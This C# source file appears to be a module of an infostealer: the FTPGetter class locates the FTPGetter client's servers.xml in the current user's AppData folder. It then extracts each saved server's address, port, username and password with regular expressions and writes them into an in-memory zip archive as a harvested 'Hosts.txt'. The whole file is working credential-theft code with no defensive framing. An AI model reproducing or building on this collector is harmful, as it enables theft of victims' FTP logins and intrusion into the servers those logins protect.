using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using Intelix.Helper.Data;

namespace Intelix.Targets.Applications;

public class FTPGetter : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		string text = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\FTPGetter\\servers.xml";
		if (!File.Exists(text))
		{
			return;
		}
		string input = File.ReadAllText(text, Encoding.UTF8);
		Regex regex = new Regex("<server\\b[^>]*>(.*?)</server>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
		Regex regex2 = new Regex("<server_ip>\\s*(?<v>.*?)\\s*</server_ip>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
		Regex regex3 = new Regex("<server_port>\\s*(?<v>\\d+)\\s*</server_port>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
		Regex regex4 = new Regex("<server_user_name>\\s*(?<v>.*?)\\s*</server_user_name>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
		Regex regex5 = new Regex("<server_user_password>\\s*(?<v>.*?)\\s*</server_user_password>", RegexOptions.IgnoreCase | RegexOptions.Singleline);
		List<string> list = new List<string>();
		Counter.CounterApplications counterApplications = new Counter.CounterApplications
		{
			Name = "FTPGetter"
		};
		foreach (Match item in regex.Matches(input))
		{
			string value = item.Groups[1].Value;
			Match match = regex2.Match(value);
			if (match.Success)
			{
				string text2 = match.Groups["v"].Value.Trim();
				Match match2 = regex3.Match(value);
				string text3 = (match2.Success ? match2.Groups["v"].Value.Trim() : "21");
				Match match3 = regex4.Match(value);
				string text4 = (match3.Success ? match3.Groups["v"].Value.Trim() : "");
				Match match4 = regex5.Match(value);
				string text5 = (match4.Success ? match4.Groups["v"].Value.Trim() : "");
				list.Add("Url: " + text2 + ":" + (string.IsNullOrEmpty(text3) ? "21" : text3) + "\nUsername: " + text4 + "\nPassword: " + text5 + "\n");
				counterApplications.Files.Add(text + " => FTP/FTPGetter/Hosts.txt");
			}
		}
		if (list.Count > 0)
		{
			zip.AddFile("FTP/FTPGetter/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list)));
			counterApplications.Files.Add("FTP/FTPGetter/Hosts.txt");
			counter.Applications.Add(counterApplications);
		}
	}
}